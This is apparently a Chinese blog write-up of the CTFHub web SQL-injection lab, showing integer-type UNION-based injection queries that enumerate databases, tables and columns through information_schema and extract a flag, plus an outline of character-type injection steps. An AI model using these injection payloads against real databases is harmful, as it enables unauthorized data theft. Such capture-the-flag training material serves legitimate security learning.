博客
关于我
CTFHub技能树web-sql注入
阅读量:294 次
发布时间:2019-03-01

本文共 1394 字,大约阅读时间需要 4 分钟。

整数型注入

sql语句 作用
select * from news where id=1 order by 1 猜解字段数,有数据返回则该数据库字段数为多少
select * from news where id=1 and 1=2 union select 1,database() union联合查询,database()查询数据库名
select * from news where id=1 and 1=2 union select 1,group_concat(table_name)from information.schema.tables where table_schema=‘sqli’ table_name表名,table_schema数据库名,information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,该库中存储一些表,如tables表,columns表等
select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ column_name列名
select * from news where id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag 根据数据库的表获得flag字段中的内容

在这里插入图片描述

字符型注入
一、判断是否存在注入

二、判断select语句中有几列

三、判断显示的信息是第几列的信息

四、利用函数来收集数据库信息

五、通过union查询数据库

1、获取所有数据库名称

2、查询数据库中有多少个表

3、查询指定数据库中的表名

4、查询指定数据库指定表中的列名

5、查询指定数据库指定表的列的内容

详细过程参考
https://blog.csdn.net/sinat_36711025/article/details/104857541?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161034725116780264039182%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fall.%252522%25257D&request_id=161034725116780264039182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v29-3-104857541.pc_search_result_cache&utm_term=websql%E6%B3%A8%E5%85%A5%E5%AD%97%E7%AC%A6%E5%9E%8B%E8%AF%AD%E5%8F%A5
手工
和整数型一样,先进行正常查询
在这里插入图片描述然后查询数据库名称
在这里插入图片描述查询sqli库的表名
在这里插入图片描述
查询sqli库中flag表的字段名称
在这里插入图片描述查询flag
在这里插入图片描述

你可能感兴趣的文章
Nginx 学习(一):Nginx 下载和启动
查看>>
nginx 常用指令配置总结
查看>>
Nginx 常用配置清单
查看>>
nginx 常用配置记录
查看>>
nginx 开启ssl模块 [emerg] the “ssl“ parameter requires ngx_http_ssl_module in /usr/local/nginx
查看>>
Nginx 我们必须知道的那些事
查看>>
Nginx 源码完全注释(11)ngx_spinlock
查看>>
Nginx 的 proxy_pass 使用简介
查看>>
Nginx 的 SSL 模块安装
查看>>
Nginx 的优化思路,并解析网站防盗链
查看>>
Nginx 的配置文件中的 keepalive 介绍
查看>>
Nginx 相关介绍(Nginx是什么?能干嘛?)
查看>>
Nginx 知识点一网打尽:动静分离、压缩、缓存、跨域、高可用、性能优化...
查看>>
nginx 禁止以ip形式访问服务器
查看>>
NGINX 端口负载均衡
查看>>
Nginx 结合 consul 实现动态负载均衡
查看>>
Nginx 负载均衡与权重配置解析
查看>>
Nginx 负载均衡详解
查看>>
Nginx 负载均衡配置详解
查看>>
nginx 配置 单页面应用的解决方案
查看>>